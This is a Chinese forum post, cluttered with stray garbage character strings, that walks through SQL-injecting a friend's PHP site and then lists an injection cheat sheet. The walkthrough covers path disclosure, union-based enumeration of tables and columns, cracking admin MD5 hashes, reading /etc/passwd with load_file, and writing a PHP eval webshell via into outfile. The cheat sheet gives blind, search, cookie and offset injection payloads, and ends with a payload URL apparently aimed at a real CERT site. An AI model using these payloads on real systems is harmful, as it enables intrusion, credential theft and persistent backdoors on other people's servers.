我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
# [8 ~) {' N, Y& x; G让我看看,既然人家开口了,我也不好拒绝,那就看看吧?1 K7 k, q& \/ S! u3 O
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
! ]6 ?3 n/ F6 R/ Z& U如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
. g8 t! y P8 r( U1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)( B# Q( G. Z+ O' O: j
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:5 g9 k, N$ R7 Z& e h
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
" u! h8 h1 K( a5 N" P/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入; k I! o4 L5 r9 z( x" x5 |
: W/ Z. _ J& n- U( ]- Y2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
+ ]1 l* |' q5 j- F4 e. G, g6 }3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意- [6 k: S* L Z; W) \4 Y: T" V$ f" P
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息: p3 t: }( w/ e
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。, y7 ^+ M( H1 O8 m t$ a1 ~
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
! k% K E" d3 o% \2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。8 H: o% t, s! O( g
我就用的是第二个思路,. v, p! B3 K0 c: [6 E' ]
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- - y& d- [( z3 B
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,' l1 q0 A( V# @ u @
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--; t4 j' k* M( a- q
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
F& Y6 ~! w. ]) g7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
1 T% F% V- `0 o1 a4 T是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....4 v/ k6 I( R( I3 G/ d, U
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --/ I0 ]9 j4 V: w* C
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
% k$ ^6 J* n7 C1 I+ l1 ~2 b! ]# g调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
1 j$ P) n" j" s, S+ i* i下面是一些很普遍注入方式资料:! f( v3 l2 q" ~8 r
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='. T) C/ E6 w. K% g
拆半法" R6 E$ R' ^, M- M- U
######################################
; U" O( i$ X7 _$ kand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
+ `. p, S3 y( U; \/ o* Rand exists (select * from admin)& Q; x) n; T' K! H4 i2 z- ]4 e
and exists(select id from admin)
( c- }. S+ T9 ` M& Fand exists(select id from admin where id=1)
: V8 s4 a% d! v% Y r! zand exists(select id from admin where id>1)
5 K2 H8 i; F# V5 C- m a然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 - h: @9 _. T! h) R* k$ s8 y
and exists (select username from admin)2 f) |) D9 X! _& z! ]# s
and exists (select password from admin). F& D6 n- M; Y/ |- S* _$ s/ U
and exists (select id from admin where len(username)<10 and id=1)
+ N4 C: n9 Y. x% J r/ f* }and exists (select id from admin where len(username)>5 and id=1)0 d( M8 I G7 y0 e; [- ^
and exists (select id from admin where len(username)=6 and id=1). D8 V0 K2 P% F2 a8 f9 w
and exists (select id from admin where len(password)<10 and id=1)+ s6 m/ C; S0 a* ]$ \" {
and exists (select id from admin where len(password)>5 and id=1)
0 `6 v# k; s8 M. b d6 Gand exists (select id from admin where len(password)=7 and id=1)
' g \4 w7 F( U ^2 E% E; band (select top 1 asc(mid(username,1,1)) from admin)=97! f) J$ m, _1 X
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。9 v7 z. s! C4 z3 z: p7 h
猜第二位把username,1,1改成username,2,1就可以了。! D3 c7 j% B% t+ x# J$ }* Y
猜密码把username改成password就OK了
! u* j, T) s! `4 y/ L##################################################
; g, C5 ~% H: i9 @5 {5 ~, x搜索型注入0 C8 j. y/ L, N8 C+ p' ^% J5 v
##################################: m: d$ R2 ~- r& [! P& ^& _
%' and 1=1 and '%'='
I6 T2 J! B2 e: }) D# d1 l%' and exists (select * from admin) and '%'='
( v3 q/ J! F5 u6 t0 H; m%' and exists(select id from admin where id=1) and '%'='$ ~* q0 D8 e: G$ B, [! d3 ?
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='9 w2 S" x7 v( t) t7 E1 L
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='3 \4 u1 @' x, {6 ^* |
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='2 r l* Q" z( d$ V& `8 w
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
& U% @" O/ J( l4 Z* V对于MSSQL数据库,后面可以吧 and '%'='换成--
0 @9 ^6 a3 Q5 F# F6 [2 s% L还有一点搜索型注入也可以使用union语句。# B7 {/ ?/ T+ x8 U
########################################################2 {- s0 y( q- V/ T3 M! ?4 a
联合查询。, y( |/ v* o- p$ z0 e H4 a; v- V
#####################################: i% j% A' E/ g1 S
order by 10
3 t a) A+ O7 e: Xand 1=2 union select 1,2,3,4,5,6,7,8,9,106 C& V, x7 p2 [) y$ g7 _0 l
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin2 |7 D# A/ n0 C! |/ F
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
! `3 c6 B2 L1 a; }0 n很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!) G! F0 O- y: e+ i8 T1 v, f
###################################+ h1 g7 F4 D+ {; Z, Z5 `* Y. J1 [8 h
cookie注入/ ?. i! S. s- c
###############################
4 p" q/ y$ G2 u; b7 @0 \http://www.******.com/shownews.asp?id=1275 m5 G& M' `" v$ G. t! v9 k
http://www.******.com/shownews.asp. F N' P8 C1 f: b9 }" c! o' D' o: K
alert(="id="+escape("127"));
( L! [9 F8 p* o; {alert(="id="+escape("127 and 1=1"));
k) p7 R. ^8 p$ {( falert(="id="+escape("127 order by 10"));6 u8 T( [, ^8 ^& E8 N( O
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));# r7 r% K* e- Q
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1")); p0 j- L& A* a( x
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
) E9 j' _+ f8 d###################################
H; A, z1 j6 K8 F8 d1 _5 ^偏移注入) R' K& Y4 Z5 B+ f
###########################################################
1 ~& M; h% C- t$ k6 L i- punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin/ D: \3 s) d6 w' ^( D& R7 f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin5 i0 {- s! l: v1 l$ P: y
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) m2 [- ], c# L& f0 F) c
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id); B# f" P7 L+ d) F! `: s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
5 j% {, y. _% R( `8 l0 q) ]% zunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)- I" ?! X" i3 m
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on5 ^4 i! W. D& p. O8 A* h, H
a.id=d.id)
v: ^6 B/ l8 k* T; @; dand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
$ K' J; P9 e3 J) z, V0 I9 G4 q. j1 D: band 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
! t/ A V) E, z# _' q; `2 y & c+ b% r& d7 W% v3 G9 m
============================================================================================================9 J0 p: P9 l# I; f* b
1.判断版本$ ]3 G9 T1 |3 h: _
and ord(mid(version(),1,1))>51
% n0 |6 O1 |; O, Y返回正常,说明大于4.0版本,支持ounion查询
. c6 A& t: `3 h, V9 c7 A2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
! l# S4 \4 y! ]& A7 b: pand 2=4 union select 1,2,3,4,5,6,7,8,9--& Q5 Z+ \5 b7 K# h
3.查看数据库版本及当前用户,) a$ H8 Y# |6 Z) z) l
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--$ ]4 k7 \$ \& G$ j3 K+ k8 Q
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
3 e5 G! E- @& x! y) {8 H+ V9 K0 u4.判断有没有写权限2 o2 P2 i, u5 o, L3 i$ `
and (select count(*) from MySQL.user)>0--
2 F6 M5 v8 `! @+ x5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1( M1 M% X& j4 g4 i
用不了这个命令,就学习土耳其黑客手法,如下% ?% n6 m2 U B. ^1 @
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
4 H; ?8 n. l6 ^9 ^5 z( C6.爆表,爆库
f( F+ u7 C ]1 oand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
0 A u0 ]5 e; \' K% v7.爆列名,爆表
" k7 u0 F" Q% G- {6 gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
" f9 F5 N5 ?. R8.查询字段数,直接用limit N,1去查询,直接N到报错为止。5 D& G. c! R: O: Y
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--6 F: K3 h5 K. `. l
9.爆字段内容% u' S1 h7 r0 z- u9 _
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
3 {% r1 L; y4 U( V% `http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |